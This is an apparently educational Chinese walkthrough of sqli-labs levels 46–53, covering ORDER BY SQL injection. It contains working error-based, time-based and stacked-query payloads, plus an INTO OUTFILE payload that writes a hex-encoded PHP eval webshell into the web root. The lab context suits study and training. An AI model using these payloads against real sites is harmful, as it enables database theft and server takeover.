知识铺垫
SQL语句中,asc是指定列按升序排列,desc是指定列按照降序排列。
select * from users order by 1 desc;使用降序进行排列
select * from users order by 1 asc;使用升序进行排列。
Right() select right (database(),1);
Left() select left(database(),1);
lines terminated by xxx 每行以xxx为结尾(分割) 可以写入一句话木马
LESS46
进入这关我们发现要使用sort为参数了,观察源码其实sort就是以前的id。
输入:?sort=1 asc --+
也就是id进行升序排列。
通过测试发现我们一开始的联合查询 union select 方法不能使用。
方法一:报错注入
输入:?sort=1 and updatexml(1,concat(0x7e,database()),1) --+
输入:?sort=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) --+
输入:?sort=1 and updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) --+
方法二:时间注入
输入:?sort=1 and if(length(database())=8,1,sleep(5))--+
不推荐手动注入,可以使用脚本来,效率高。
LESS47
参数:‘1’
其他不变
LESS48
参数与46关相同,但是没有错误回显,所以只能使用时间盲注。
LESS49
参数变为‘1’ 类型同48相同。
LESS46-49关方法之一句话木马
以46关为例
输入:?sort=1 into outfile 'C:\phpstduy2018\PHPTutorial\WWW\sqli-labs-master\Less-46\1.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e
咱们不能用<php @eval($_POST["czs"];?>写是因为写不进去 是个空的 所以用知识铺垫的函数 进行16进制转换。
写入一句话木马就可以用菜刀连接了。
LESS50
其他三种方法同上
方法四:堆叠注入
输入:?sort=1;create table czs like users;insert into czs select * from users;
这时我们发现新建的czs 与users 内容一样。
方法五:堆叠注入 写入一句话木马。
LESS51
参数 ‘1’
LESS52
无回显,不可以用报错注入。
LESS53
和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。